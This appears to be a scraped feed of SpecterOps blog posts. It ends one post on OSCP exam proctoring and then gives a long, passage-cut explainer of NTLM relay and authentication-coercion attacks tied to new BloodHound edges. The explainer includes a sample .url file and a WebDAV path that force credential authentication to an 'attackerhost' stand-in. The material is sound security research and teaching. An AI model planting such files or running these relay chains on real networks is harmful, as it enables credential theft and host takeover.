  • Before the exam, take inventory of your toolkit and review each utility’s documented functionality to ensure it doesn’t include features that OffSec prohibits (e.g., spoofing, automatic exploitation, commercial services) and keep a record of any new tools you use during the exam; this level of caution is also applicable to real-world engagements, where it is important to fully understand the behavior and implications of the tools you deploy in a client environment
  • Keep all notes local; avoid accessing documents stored on cloud platforms (e.g., GitHub, GitLab, or OneNote)
  • Terminate unnecessary screen-sharing programs (e.g., Discord, Zoom, Teams); even idle background processes can raise red flags
  • Use a single device and identity throughout the exam; ensure the name on your ID matches your OffSec registration details, complete the exam on a single authorized system, and terminate any third-party virtual private network (VPN) applications—as changing IP addresses mid-exam may be interpreted as location switching
  • Minimize physical and digital movement; don’t leave the camera’s view without telling the proctor, and avoid switching desktops, using unrelated virtual machines (VMs), or removing hardware devices
  • Never download artifacts from the exam environment to your local machine; all work should remain within your VM
  • Be mindful of physical cues that might appear suspicious on camera, such as repeated glances away from the screen, whispering, interacting with unmonitored people, or unexplained movements
  • If you’re referencing notes from a previous attempt, inform the proctor to distinguish it from reused or plagiarized content
  • Have a backup device and mobile hotspot ready in case of system failure or internet loss
  • Consider creating a clean system user profile just for the exam to reduce redundant applications and protect your privacy

If, despite following this advice, you’re still found guilty of academic misconduct, stay calm and professional. Cooperate fully with the investigation, be honest and transparent, and avoid becoming defensive—it’s important not to escalate the situation. Instead, politely request specific details regarding the accusation, seek to understand the exact concerns, and explain any misunderstood behavior or tools (e.g., a tool that was not on the shortlist of restricted software but raised concern). If you’re unsatisfied with the outcome, wait a week or two to cool off before submitting a formal appeal to challenges [at] offsec [dot] com. Maintain the same professional and respectful tone in your appeal as you did during the investigation.

On a final note, it’s important to acknowledge that OffSec exams involve a high degree of monitoring. Your screen is shared throughout the exam, you’re under near-continuous video surveillance, and you must perform a 360-degree scan of your workspace to confirm that no unauthorized devices or individuals are present. Before beginning the exam, Windows users are required to execute a proctor-provided PowerShell script that gathers system information and lists running processes—likely to flag potentially unauthorized tools. Out of an abundance of caution, it’s a good idea to clean up your local system before exam day; remove any personal files or unfamiliar tools that could trigger concern. For more details on how OffSec collects and processes personal data, refer to their Privacy Policy.

NOTE:
If you’re uncomfortable with the format or privacy implications of the OSCP exam, you might consider alternatives like the Certified Red Team Operator (CRTO) or Practical Network Penetration Tester (PNPT). These certifications cover similar material and offer more flexible testing policies.

OffSec has every right (and responsibility) to uphold the integrity of its certification, but that doesn’t make the proctoring process any less stressful for honest students. Trying to be diplomatic while raising a nuanced point, it’s fair to say that even well-intentioned candidates may find themselves under scrutiny. By taking proactive steps to minimize ambiguity in your environment and interactions with the proctors, you not only protect your OSCP investment but also reinforce the professional habits OffSec aims to instill through its arduous exam process.

Conclusion

Feel free to leave a comment with any questions, feedback, or additional advice to contribute to this discussion. In the final post of this series, I’ll cover what students should do after each OSCP exam attempt—whether they pass or not.


Getting the Most Value Out of the OSCP: The Exam was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

  • ✇Posts By SpecterOps Team Members - Medium
  • The Renaissance of NTLM Relay Attacks: Everything You Need to Know Elad Shamir
    NTLM relay attacks have been around for a long time. While many security practitioners think NTLM relay is a solved problem, or at least a not-so-severe one, it is, in fact, alive and kicking and arguably worse than ever before. Relay attacks are the easiest way to compromise domain-joined hosts nowadays, paving a path for lateral movement and privilege escalation.NTLM relay attacks are more complicated than many people realize. There are a lot of moving parts that operators have to track using
     

The Renaissance of NTLM Relay Attacks: Everything You Need to Know

NTLM relay attacks have been around for a long time. While many security practitioners think NTLM relay is a solved problem, or at least a not-so-severe one, it is, in fact, alive and kicking and arguably worse than ever before. Relay attacks are the easiest way to compromise domain-joined hosts nowadays, paving a path for lateral movement and privilege escalation.

NTLM relay attacks are more complicated than many people realize. There are a lot of moving parts that operators have to track using different tools, but we have recently introduced NTLM relay edges into BloodHound to help you keep on thinking in graphs with new edges that represent coercion and relay attacks against domain-joined computers, originating from Authenticated Users and leading into the computer that could be compromised via SMB, LDAP/LDAPS, and ADCS ESC8. Each of these edges is composed of different components and prerequisites, but they all follow the same “Zero to Hero” pattern from Authenticated Users to the would-be compromised computer.

While there are many great resources on this old attack, I wanted to consolidate everything you need to know about NTLM into a single post, allowing it to be as long as needed, and I hope everyone will be able to learn something new.

Once Upon a Time

NTLM is a legacy authentication protocol that Microsoft introduced in 1993 as the successor to LAN Manager. NTLM literally stands for New Technology LAN Manager, a name that didn’t age well. While Kerberos is the preferred authentication protocol in Active Directory environments (and beyond), NTLM is still widely used whenever Kerberos isn’t viable or, more commonly, when NTLM usage is hard-coded.

NTLM Fundamentals

My favorite research area is authentication protocols, and over the years, I’ve noticed that every authentication protocol is designed to thwart one or two primary threats. For NTLM, I believe it is replay attacks. Not relay attacks (obviously, given the title), but replay attacks, where an attacker intercepts a valid authentication exchange and replays the packets/messages later to impersonate the victim. NTLM prevents such attacks using a challenge-response exchange: the server generates a random challenge, and the client produces a cryptographic response that proves possession of the client’s credentials.

The NTLM authentication exchange involves a three-message exchange:

The Negotiate (type 1) message is sent from the client to the server to initiate authentication and negotiate session capabilities, such as a session key exchange and signing (more on those later), through a set of flags indicating the client’s supported/preferred security attributes for the session.

The Challenge (type 2) message is sent from the server to the client. It contains a corresponding set of flags indicating the server’s supported/preferred session capabilities and an 8-byte randomly generated nonce, known as the server challenge.

The Authenticate (type 3) message is sent from the client to the server. It contains a set of flags indicating the determined session capabilities based on the client’s and server’s preferences and a cryptographically generated response to the server challenge. There are two major NTLM response generation algorithm versions: NTLMv1 and NTLMv2.

The server then validates the response to authenticate the client. Local accounts are validated against the NT hashes stored in the local SAM, and domain accounts are sent to a domain controller for validation via the Netlogon protocol.

NTLMv1

NTLMv1 is the original response algorithm. It was developed in 1993, in the unfortunate days when DES was the standard encryption algorithm, so that’s what Microsoft used to generate the response, as described in the diagram below:

As shown above, the client’s password is transformed into an NT hash, which is the MD4 hash of the Unicode-encoded password, to be used as the DES encryption key. However, there was a little hiccup: the NT hash was 16 bytes, while the effective DES key length was 7 bytes. Microsoft came up with a creative solution — split the NT hash into three keys: the first seven bytes, the following seven bytes, and the last two bytes padded with zeros. Each of these keys encrypts the server challenge three times independently, and the ciphertexts are concatenated to produce a 24-byte-long response.

NTLMv1 is Bad

NTLMv1 turned out to be a bad idea for three main reasons:

  • First, DES encryption is… not great, as it can be cracked relatively easily.
  • Second, the response isn’t “salted”, meaning that the same password and server-challenge combination always produces the same response, making it susceptible to rainbow table attacks.
  • Third, combining the two previous reasons makes one of my all-time favorite attacks, discovered by Moxie Marlinspike and David Hulton. They managed to recover the raw NT hash by cracking each of the three ciphertexts individually, using rainbow tables and custom hardware. Why should we care about the NT hash? After all, it’s not a password, right? We’ll discuss the infamous Pass the Hash attack soon.

“NTLM2” Precedes NTLMv2

Just for completeness, I’ll mention “NTLM2”, also known as “NTLM2 Session Response” or “NTLMv1 with Enhanced Session Security”. This interim version between NTLMv1 and NTLMv2 introduced an 8-byte client-generated nonce, known as the client challenge. The client challenge was concatenated with the server challenge, and then the combined value was MD5-hashed and, finally, DES-encrypted as in NTLMv1. This enhancement ensured every response was unique and thwarted rainbow table attacks. However, the algorithm is still fundamentally flawed, and the NT hash can be recovered with modern GPUs within less than 24 hours, on average, at a cost of about $30.

NTLM2 is just a distraction, though. Feel free to forget you ever read the paragraph above.

NTLMv2

Shortly after, still in the ’90s, Microsoft released NTLMv2, replacing DES encryption with HMAC-MD5, as described below. This algorithm is still in use today.

The NT hash is used as the key to generate an HMAC of the client’s domain name and username. It is called the “NT One Way Function v2” or NTOWFv2. The NTOWFv2 HMAC value is then used as the key to generate another HMAC, this time of the server challenge, along with additional information, such as a random client challenge and a timestamp to thwart rainbow table attacks, and additional session attributes, which we will discuss later. This HMAC value is the NT Proof String or NTProofStr. Many people mistakenly think that the NTProofStr is the NTLMv2 response, but it is only part of it. All the additional information used to generate the NTProofStr is also included in the NTLMv2 response to allow the server to generate the same HMAC and validate the client’s response.

LM Compatibility Level

Every Windows host acts as both a server, when someone authenticates to it, and a client, when it authenticates to another host. A single registry value controls both the server and client NTLM version support, located at HKLM\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel. It allows enabling/disabling NTLMv1 and NTLMv2 for the entire host as a server and as a client, as described in the table below:

| Value | Client NTLMv1 | Client NTLMv2 | Server NTLMv1 | Server NTLMv2 |
|-------|---------------|---------------|---------------|---------------|
| 0 | Enabled | Disabled | Enabled | Enabled |
| 1 | Enabled | Disabled | Enabled | Enabled |
| 2 | Enabled | Disabled | Enabled | Enabled |
| 3 * | Disabled | Disabled | Enabled | Enabled |
| 4 | Disabled | Enabled | Enabled | Enabled |
| 5 | Disabled | Enabled | Disabled | Enabled |

* Default as of Windows 2008/Vista

When a client authenticates to a member server using a domain account, the server sends the response to a DC for validation. Therefore, the DC’s LmCompatibilityLevel is the one that determines whether NTLMv1 is accepted or not. Note that different DCs can technically have different configurations. However, it is very uncommon to see DCs with LmCompatibilityLevel set to 5 (I’ve never seen that outside of lab environments), so it’s safe to assume the DC will support both NTLMv1 and NTLMv2, as a server, for domain accounts.

It is not uncommon to see DCs with a lower LmCompatibilityLevel. I believe the reason is that some sysadmins mistakenly think that a lower LmCompatibilityLevel is required to support NTLMv1 clients in the domain, while, in fact, they just enable NTLMv1 on the DCs as clients, which can have dire consequences, as we will explain soon.

Looking at the table above, we can make a few observations:

  • As a client, a Windows host can have either NTLMv1 or NTLMv2 enabled but not both.
  • As a server, a Windows host will likely enable both NTLMv1 and NTLMv2.
  • If a Windows host enables NTLMv1 as a client, it must also enable it as a server.
  • A Windows host doesn’t have to enable NTLMv1 as a client to enable it as a server.

Additional settings allow restricting or auditing outgoing or incoming NTLM authentication or requiring session security settings, but we won’t elaborate on those.

Password Cracking is a Problem

There are different tools for capturing NTLM responses for cracking. Responder is the most well-known and widely used tool, but Inveigh and Farmer deserve an honorable mention, too.

An attacker can potentially crack a captured NTLM exchange, whether it’s NTLMv1 or NTLMv2, to recover the password if it is not sufficiently strong. In the case of NTLMv1, the NT hash can always be recovered, and it can be abused in a couple of ways. If it is a computer/service account, the attacker can forge an RC4-encrypted Kerberos silver ticket and impersonate a privileged account to the host or the service. The NT hash can also be used for NTLM authentication, without cracking the cleartext password, through the infamous Pass the Hash attack.

Pass the Hash

When taking a closer look at the NTLMv1 and NTLMv2 flows, you may notice that, technically, we don’t need the cleartext password to produce a valid NTLM response. If we skip the first step in the flow, the NT hash is all we need.

Who Needs to Crack Passwords Anyway?

The real problem with NTLM is relay attacks. An attacker can simply relay the NTLM messages between a client and server, back and forth, until the server establishes a session for the client, allowing the attacker to perform any operation the client could perform on the server. For clarity, we will refer to the client as the “victim” and the server as the “target”.

Relay attacks allow authenticating as the victim to the target without spending time and resources on password cracking and without depending on weak passwords.

Not an Opportunistic Attack

Some defenders belittle relay attacks because they seem to be somewhat opportunistic. However, relay attacks can be executed with intention and precision when combined with authentication coercion attacks.

Generally, the mechanics of computer account authentication coercion and user account authentication coercion are different.

Computer Account Authentication Coercion

Computer account authentication coercion typically involves an RPC call to a vulnerable function on a remote host (the relay victim). Specifically, we’d try to call a function that would attempt to access an arbitrary path we can control. Then, when the remote service attempts to access the specified path, we’d require authentication and kick off a relay attack. The remote service would authenticate as the relay victim computer account if the service runs as SYSTEM or NETWORK SERVICE and if it doesn’t impersonate a different context before attempting to access the resource.

The two most notable computer authentication coercion primitives are the Printer Bug and PetitPotam. The Printer Bug abuses the function RpcRemoteFindFirstPrinterChangeNotification[Ex] in the Print Spooler service, which establishes a connection to an arbitrary path to send notifications about print object status changes. PetitPotam abuses several functions in the Encrypting File System (EFS) service, such as EfsRpcOpenFileRaw, which opens a file in an arbitrary path for backup/restore. These techniques result in an immediate authentication attempt from the victim computer account without user interaction.

Authenticated Users are permitted to trigger these computer account authentication coercion attack primitives, allowing almost anyone to initiate the relay attack.

User Account Authentication Coercion

User account authentication coercion is more complicated and, in some cases, somewhat opportunistic. The classic user account authentication coercion primitives involve planting a reference to an external resource in a document, email, or even a web page. When the victim renders the document, the client attempts to load the resource, sometimes without their knowledge or consent, and initiates an authentication attempt with the user’s credentials. These primitives require one to three clicks and can be sent directly to the victim or strategically planted in a high-traffic shared folder or website for a watering hole attack.

Dominic Chell highlighted a more sophisticated, well-known approach that abuses Windows Shell. Windows Shell is the operating system’s user interface. It has extensions and handlers that enrich the user experience, for example, by generating thumbnails/previews or customizing icons. Specially crafted files can manipulate these mechanisms to access arbitrary paths as soon as the operating system “sees” them, without any user interaction. The most common way to abuse it is to pass to the icon handler a reference to an attacker-controlled path, which would result in a user authentication attempt as soon as the user browses the folder in which the file is located, even if the user doesn’t even click or highlight the file. The most notable file types that support this kind of manipulation are:

  • Windows Search Connectors (.searchConnector-ms)
  • URL files (.url)
  • Windows Shortcuts (.lnk)
  • Windows Library Files (.library-ms)

For example, the following URL file would try to load its icon from the path \\attackerhost\icons\url.icon from the user’s security context, so it authenticates with the user’s credentials.

[InternetShortcut]
URL=attacker
WorkingDirectory=attacker
IconFile=\\attackerhost\icons\url.icon
IconIndex=1

Attackers can drop these files in strategic file shares, such as high-traffic file shares or those frequently used by privileged users, and then kick off a relay attack as soon as an authentication attempt comes through.

Credential Abuse Without Lateral Movement

Traditionally, when attackers gain admin access to a host with an interesting logged-on user, they would move laterally to that host and then attempt one of many credential abuse techniques to impersonate the user and continue maneuvering toward their objectives. However, as EDRs and other endpoint security solutions improve, the detection risk of lateral movement and credential abuse TTPs increases.

Instead, attackers can reduce the detection risk by accessing the remote file system via an administrative share, such as C$, and dropping an authentication coercion file on the logged-on user’s desktop. The moment the file is dropped, Windows Shell starts processing it, and an authentication attempt to the attacker-controlled host is initiated. It works even if the file is hidden, the workstation is locked, or the RDP session is disconnected. More specifically, it works as long as explorer.exe runs in a suitable security context, meaning it is associated with a logon session with credentials cached in the MSV1_0 authentication package.

The attacker can try to crack the NTLM response to recover the password or establish a session on a target server by relaying it.

Taking Over 445

In case you missed it, it is possible to bind a listener to port 445 on Windows hosts without loading a driver, loading a module into LSASS, or requiring a reboot of the Windows machine, as Nick Powers discovered last year.

Too Good to Be True?

So far, NTLM relay attacks may seem very powerful and somewhat simple. However, over the years, Microsoft introduced several mitigations to complicate things.

Session Security

NTLM supports signing (integrity) and sealing (encryption/confidentiality) to secure the session. It is achieved by exchanging a session key in the NTLM Authenticate message. The client generates a session key and RC4-encrypts it using a key generated, in part, from the client’s NT hash. A common misunderstanding is that when signing is negotiated, NTLM relay attacks fail to establish a session (authenticate). However, even with signing, authentication is successful. The problem is that the attacker can’t recover the session key without possessing either the victim’s NT hash or the target’s credentials. But if the attacker possessed either of them, there would be no need for relaying anyway. Therefore, if the target indeed requires all the subsequent messages in the session to be signed with the session key, the attacker would not be able to use the session. Luckily for the attackers, not all servers implement such a requirement, as we will see soon.

The screenshot below shows a portion of a typical NTLM Authenticate message in which a session key is exchanged and signing is negotiated.

The premise of an NTLM relay attack is a man-in-the-middle position. Therefore, the attacker’s obvious next step should be tampering with this Authenticate message in flight to remove the session key and reset the Negotiate Key Exchange and Negotiate Sign flags, pretending the victim never negotiated those.

Message Integrity Code (MIC)

Microsoft anticipated such attempts and introduced an integrity check to the NTLM messages. An HMAC is added to the Authenticate message to protect all three NTLM messages with the session key. The server validates the MIC upon receiving the message, and if a single bit in any of the three NTLM messages is flipped, authentication fails.

Drop the MIC?

The MIC is a later addition to the NTLM protocol. Windows XP and Windows Server 2003 and older, as well as some 3rd party platforms, don’t support it. So, can’t the attacker drop the MIC and pretend the client never added it?

Microsoft anticipated that, too, and added an attribute to the NTLMv2 response indicating the MIC’s presence.

Therefore, an attacker would have to remove/reset that attribute before removing the MIC, but because this attribute is part of the NTLMv2 response, changing it would invalidate the NTProofStr, and authentication would fail.

Those of you who are paying attention should realize that NTLMv1 does not incorporate any additional information into the NTLMv1 response, meaning that NTLMv1 is always susceptible to MIC removal and tampering with the Negotiate flags and the session key.

A Blast From the Past

In 2019, Yaron Zinar and Marina Simakov discovered a couple of vulnerabilities in the NTLM implementation, allowing attackers to Drop the MIC even in NTLMv2. However, we will not delve into those because Microsoft released patches, and it is extremely rare to encounter Windows hosts affected by these vulnerabilities nowadays.

Channel Binding

Channel binding, also commonly referred to as Extended Protection for Authentication (EPA), is a mechanism that prevents man-in-the-middle attacks by incorporating a token from the secure channel (TLS), that is, the server certificate hash, into the NTLM Authenticate message. The server can compare the channel binding token to its own certificate hash and reject the authentication attempt if there is a mismatch. Any service running over TLS, such as HTTPS and LDAPS, can support channel binding.

Just like session security and the MIC, channel binding is not mandatory, but it is part of the NTLMv2 response, and therefore, it is protected by the NTProofStr, so the attacker can’t remove it and pretend it was never there. However, NTLMv1 does not support channel binding.

Backward Compatibility

All these mitigations are later additions to the protocol, so some older or 3rd party platforms may not support them. Therefore, they may not be required by the target server. The server behavior depends on its configuration, whether it is configured to support or even require session security or channel binding, and whether it is designed or implemented to honor the session capabilities negotiated in the NTLM exchange. Given that this is just about the midpoint of this post, you can assume it is not uncommon for targets not to require or enforce these mitigations.

Protected Users

Microsoft introduced the Protected Users security group in the Windows Server 2012R2 functional level to mitigate several attacks that can lead to credential material theft. Members of this group are not permitted to perform NTLM, and hosts running Windows Server 2012R2/Windows 8.1 or later do not cache the NT hash in LSA memory. These protections and others may have usability issues, so only privileged/sensitive accounts should be added to this group. Unfortunately, this group is too often left empty.

Not Too Good to Be True

Given everything discussed above, what are the conditions for relay attacks?

A relay attack should be viable if the target does not support these mitigations by design/implementation or configuration (disabled) or the target supports these mitigations (enabled) but does not require them, and one of the following applies:

  • The victim does not negotiate session security and channel binding
  • The victim’s session negotiation is unprotected (NTLMv1)
  • The target implementation ignores the negotiated capabilities

Relaying is only half the story, though. A successful relay satisfies authentication and establishes a session. However, authorization, meaning what the attacker can do afterward, depends on the victim’s permissions.

Targeting SMB

The first and simplest scenario we introduced into BloodHound is relaying NTLM to SMB. SMB servers don’t support channel binding with NTLM, and they negotiate signing at the SMB protocol level, outside the NTLM exchange, meaning that even if the victim negotiates signing in the NTLM Authenticate message, the target will disregard it and only consider what’s negotiated in the SMB headers, which the attacker can control. To be clear, configuring SMB clients to require SMB signing does not affect NTLM relay attacks.

Below is an excerpt from a typical SMB2 negotiate response message with SMB signing enabled but not required. The server is vulnerable to relay attacks if the signing required bit is not set.

Domain controllers starting with Windows Server 2008 and all Windows hosts starting with Windows Server 2025 and Windows 11 require SMB signing by default. In practice, it means that nowadays, most Windows hosts out there, especially Windows servers, don’t require SMB signing by default. Unfortunately, many organizations don’t change these defaults for the unjustified fear of backward compatibility or a myth about performance impact.

Introducing the CoerceAndRelayNTLMToSMB Edge

The new CoerceAndRelayNTLMToSMB edge is the simplest of the new NTLM relay edges. The edge always comes out of the Authenticated Users node and leads into the target computer node. It represents a combination of computer account authentication coercion against the relay victim and an NTLM relay attack against the relay target.

Collection

SharpHound collects all the required information as follows:

  • SMB signing status collection does not require authentication. It is collected from the relay target by actively establishing a connection with the host over SMB and parsing the SMB negotiation response messages.
  • Local admin rights are collected from the relay target. They can be collected from the host directly over RPC, which may or may not require admin rights, depending on the OS version and configuration, or from the DC via GPO analysis.
  • Outgoing NTLM restriction is collected from the relay victim via WMI or Remote Registry, which requires admin rights.

Edge Creation

BloodHound creates the edge if the following criteria are met:

  • SMB signing on the target computer is not required — this is the relay target. The edge will not be created if the SMB signing status is not collected/ingested into BloodHound.
  • At least one computer account in the environment has local admin access to the target computer — this is the relay victim.
  • There is no outgoing NTLM restriction on the victim host. In BloodHound Community Edition, if this data wasn’t collected/ingested, it will be assumed to be false (not restricted), as per the default configuration. In BloodHound Enterprise, this assumption is not made, and the edge will not be created.
  • If the domain functional level is Windows Server 2012R2, the relay victim must not be a member of the Protected Users group.

The edge is always created from Authenticated Users to the computer node representing the relay target.

Expanding the Coercion Targets accordion lists the relay victims, and expanding the Composition view shows a visual representation.

Abuse

An attacker can traverse this edge to gain access to the C$ or ADMIN$ share on the relay target, dump LSA secrets from Remote Registry, including the computer account password, or move laterally via the Service Control Manager.

A very common scenario captured by this new edge is SCCM TAKEOVER 2, coercing authentication from the SCCM site server and relaying it to the SCCM database server to take over the entire hierarchy.

SMB-Specific Limitations

The CoerceAndRelayNTLMToSMB edge only covers scenarios in which a computer (victim) has admin access to another computer (target) that does not require SMB signing. It doesn’t cover user accounts as the relay victim, and it doesn’t cover access to resources that a relay victim might be able to access via SMB without admin rights, such as non-administrative file shares.

Other limitations that apply to all new NTLM relay edges will be discussed later.

Targeting ADCS (ESC8)

The new CoerceAndRelayNTLMToADCS edge is much more complicated than relaying to SMB because certificate abuse has a lot of requirements. However, the relaying logic is still relatively simple. Relaying to ADCS web enrollment allows obtaining a certificate for the relay victim and using it for authentication to impersonate the victim. This is the infamous ADCS ESC8 that Will Schroeder and Lee Chagolla-Christensen disclosed in their Certified Pre-Owned white paper.

The ADCS Certificate Authority Web Enrollment endpoint and Certificate Enrollment Web Service run on IIS. IIS does not support session security, but it does support Extended Protection for Authentication (EPA), also known as channel binding. EPA is supported over HTTPS, but not HTTP because HTTP has no secure channel to bind. So, if web enrollment is available over HTTP or over HTTPS with EPA disabled, then relay is viable. This is the default configuration on Windows Server 2022 and older, but no longer the default on Windows Server 2025. Note that it applies to any site served on IIS with NTLM authentication, not just ADCS web enrollment.

As mentioned, relaying is all about authentication. Once authenticated, the attacker can do whatever the relay victim is permitted to do. This attack is viable only if the relay victim is permitted to enroll a client authentication certificate (requires EKUs that allow performing Kerberos PKINIT authentication or Schannel authentication to LDAP) and the CA is trusted by the domain controller and added to the domain’s NTAuthCertificates. Jonas Bülow Knudsen explains these requirements in detail in this blog post.

Introducing the CoerceAndRelayNTLMToADCS Edge

The new CoerceAndRelayNTLMToADCS edge comes out of the Authenticated Users node and leads into the victim computer node, unlike CoerceAndRelayNTLMToSMB, which leads into the relay target computer node. The reason for the difference is that the attack compromises the relay victim rather than the relay target.

Collection

SharpHound collects all the required information as follows:

  • Connect to the ADCS enrollment endpoints and attempt to perform NTLM authentication with and without EPA to determine if it’s enabled, required, or disabled. This can be collected without admin access.
  • All the ADCS certificate enrollment requirements are collected via LDAP, as done for all existing ADCS edges. This can be collected without admin access.
  • Outgoing NTLM restriction is collected from the relay victim via WMI or Remote Registry, which requires admin rights.

Edge Creation

BloodHound creates the edge if the following criteria are met:

  • The relay victim is a computer permitted to enroll a certificate with a template that meets the requirements listed below. The relay victim must have the enroll permission on the enterprise CA and the certificate template.
  • The certificate template has (1) EKUs that enable PKINIT/Schannel authentication, (2) manager approval disabled, and (3) no authorized signatures required.
  • The enterprise CA is trusted for NT authentication, and its certificate chain is trusted by the domain controller.
  • The enterprise CA published the certificate template.
  • The enterprise CA that published the certificate has a web enrollment endpoint available over HTTP or HTTPS with EPA disabled.
  • There is no outgoing NTLM restriction on the victim host. In BloodHound Community Edition, if this data wasn’t collected/ingested, it will be assumed to be false (not restricted), as per the default configuration. In BloodHound Enterprise, this assumption is not made, and the edge will not be created.
  • If the domain functional level is Windows Server 2012R2, the relay victim must not be a member of the Protected Users group.

The edge is always created from Authenticated Users to the computer node representing the relay victim.

Expanding the composition view shows all the components involved, including the certificate template and enterprise CA to target.

Abuse

After enrolling a certificate, the attacker can perform PKINIT authentication as the computer account using Rubeus to obtain a Kerberos Ticket Granting Ticket (TGT) and even the NT hash for the computer account through the UnPAC the Hash attack. With these, the attacker can compromise the relay victim host via S4U2Self abuse or a silver ticket, or use the TGT or the NT hash to access any resource that the computer account is permitted to access.

If the CA is susceptible to relay attacks, all the computers that can enroll a suitable certificate are exposed. Note that the default “Machine” certificate template meets the above criteria and exposes all the computers in the domain.

ADCS-Specific Limitations

The CoerceAndRelayNTLMToADCS edge only covers scenarios in which a computer (victim) can enroll a domain authentication certificate and the certificate authority web enrollment (target) that is vulnerable to relay attacks. It doesn’t cover user accounts as the relay victim, and it does not cover certificate templates incompatible with domain authentication.

Other limitations that apply to all new NTLM relay edges will be discussed later.

Targeting LDAP or LDAPS

The new CoerceAndRelayNTLMToLDAP and CoerceAndRelayNTLMToLDAPS edges are by far more complicated to abuse. Unlike SMB and IIS, LDAP servers are implemented to require the capabilities negotiated with the client in the NTLM exchange, meaning that if the client negotiates session security with signing, the LDAP server will require all the subsequent messages in the session to be signed with the session key.

Computer account authentication coercion can trigger authentication from the SMB client, but the SMB client always negotiates session security with signing in the NTLM Authenticate message, so SMB can’t be relayed to LDAP. The exception to this rule is clients that have NTLMv1 enabled because, in NTLMv1, the MIC can be dropped, and the Negotiate Sign flag can be reset.

But that’s not a dead end. Some authentication coercion primitives, including the Printer Bug and PetitPotam, accept WebDAV paths simply by adding the at sign followed by a port number to the hostname, e.g., “\\attackerhost@80\icons\url.icon”.

WebDAV is encapsulated in HTTP messages sent by the Web Client service, which doesn’t negotiate signing and is, therefore, compatible with relaying to LDAP. However, by default, the Web Client would only authenticate to targets in the Intranet Zone, as per the default Internet Settings.

Getting in the (Intranet) Zone

HTTP clients in Windows should call the MapUrlToZoneEx2 function to determine which zone a given URL belongs to. The function determines that a URL maps to the Intranet Zone based on the following rules:

  • Direct Mapping: URLs manually added to the Intranet Zone
  • The PlainHostName Rule (aka “The Dot Rule”): If the URL’s hostname does not contain any dots
  • Fixed Proxy List Bypass: Sites added to the fixed proxy bypass list
  • WPAD Proxy Script: URLs for which the proxy script returns “DIRECT”

If you use the host’s “shortname” (the hostname portion of the FQDN, e.g., hostname.contoso.local) or NetBIOS name, the underlying name resolution mechanisms will resolve the name to an IP address, even though the URL is “dot-less”, because DNS automatically appends a suffix based on the client’s DNS search list, which is typically configured via DHCP or GPO.

But how can we get DNS resolution for our attacker-controlled host?

Bring Your Own DNS Record

By default, Active Directory Integrated DNS allows all Authenticated Users to create DNS records via LDAP or Dynamic DNS (DDNS), as discussed in this blog post by Kevin Robertson, and can be done with his tools Powermad and Sharpmad.

WebDAV Is a Hit or Miss

Authentication coercion can trigger WebDAV traffic only if the Web Client service is installed on the host, which it is by default on Windows desktops but requires the Desktop Experience or the WebDAV Redirector feature on Windows servers. Even if it is installed, it also needs to be running, which is not the default on desktops. Most user account authentication coercion primitives will automagically trigger the Web Client service to start. However, computer accounts are more tricky. While most computer account authentication coercion primitives support WebDAV paths, they will not start the Web Client service. Therefore, when we target computer accounts, which is what we do here, we are limited to computers that currently have the Web Client service already running.

When the Web Client service starts, it opens a named pipe called DAV RPC SERVICE, so we can determine whether it is running remotely without admin rights.

One important thing to note is that when the Web Client service runs, it affects all processes running on the host in any context, not just the user who started it. Therefore, if we trigger the service to start via user account authentication coercion, for example, by dropping an authentication coercion file into a high-traffic shared folder, any user that browses the share potentially exposes the host they logged in on to NTLM relay to LDAP.

LDAP Relay Mitigations

LDAP servers support mitigating relay attacks with LDAP signing and LDAP channel binding. Each can be configured individually, and both must be enforced to prevent relay attacks. If either one isn’t, there is a bypass:

  • If LDAP signing is required and LDAP channel binding is disabled, the attacker can relay to LDAPS instead of LDAP, and because LDAPS encapsulates the traffic in a TLS channel, the domain controller considers the signing requirement to be met.
  • If LDAP channel binding is enforced and LDAP signing is disabled, the attacker can relay to LDAP with StartTLS, as discussed in this blog post, because the TLS channel is established only post-authentication.

These settings are DC-level settings, not domain-level settings, meaning that you may find different domain controllers with different configurations in the same environment.

Up until Windows Server 2025, domain controllers did not enforce these by default, and given that most organizations have not yet changed both of these settings, at this time, most domain controllers out there are vulnerable to NTLM relay attacks. However, as of Windows Server 2025, domain controllers enforce encryption (sealing) via session security on LDAP SASL bind by default, and with that new configuration, relaying to LDAP or LDAPS is no longer viable. But at this time, domain controllers running on Windows Server 2025 are still few and far between.

Note that enabling LDAP client signing does not mitigate relay attacks, as we’re not abusing LDAP clients; we are abusing web clients.

Viability Criteria

All things considered, relaying to LDAP is viable under the following conditions.

For the relay target, there is at least one domain controller that:

  • Is running on Windows Server 2022 or older and does not require LDAP signing or LDAPS turned on without channel binding.
  • Is running on Windows Server 2025 with LDAP signing explicitly disabled.

For the relay victim, the computer must either have the Web Client installed and running or have NTLMv1 enabled.

I Successfully Relayed to LDAP. Now What?

As I reiterated several times, relaying gets you through the authentication step. What you can do with the session afterward depends on the permission of the relay victim. A successful relay to LDAP would allow you to perform any action that the relay victim is permitted to perform in Active Directory, with one caveat — password change/reset must happen over an encrypted channel, so that action is possible only when relaying to LDAPS.

In this scenario, we coerce and relay a computer account to LDAP or LDAPS. In this case, it is very unlikely that the relay victim, a computer account, would have high privileges in the domain. However, computers are allowed to change some attributes of their own computer account, including:

  • msDS-AllowedToActOnBehalfOfOtherIdentity, which would allow taking over the host via Resource-Based Constrained Delegation (RBCD), as explained in detail in this post.
  • msDS-KeyCredentialLink, which would allow taking over the host via the Shadow Credentials attack, as explained in detail in this post. Note that a computer account is permitted to add a new value to the msDS-KeyCredentialLink attribute as a validated write, only if there isn’t an existing key credential already present. However, even if there is already a key credential present, the computer account is allowed to delete it and then add a new one, which would require relaying twice: once for deletion and a second time for the Shadow Credentials attack.

Introducing the CoerceAndRelayNTLMToLDAP and CoerceAndRelayNTLMToLDAPS Edges

The new CoerceAndRelayNTLMToLDAP and CoerceAndRelayNTLMToLDAPS edges come out of the Authenticated Users node and lead into the victim computer node, just like the CoerceAndRelayNTLMToADCS edge, because here, too, the attack compromises the relay victim rather than the relay target.

Collection

SharpHound collects all the required information as follows:

  • Connect to the domain controllers via LDAP and LDAPS and attempt to perform NTLM authentication with and without signing and channel binding to determine if they’re enabled, required, or disabled. This can be collected without admin access.
  • Connect to the relay victim via SMB to check whether the DAV RPC SERVICE named pipe is open. This can be collected without admin access.
  • Outgoing NTLM restriction is collected from the relay victim via WMI or Remote Registry, which requires admin rights.

Edge Creation

BloodHound creates the CoerceAndRelayNTLMToLDAP edge if the following criteria are met:

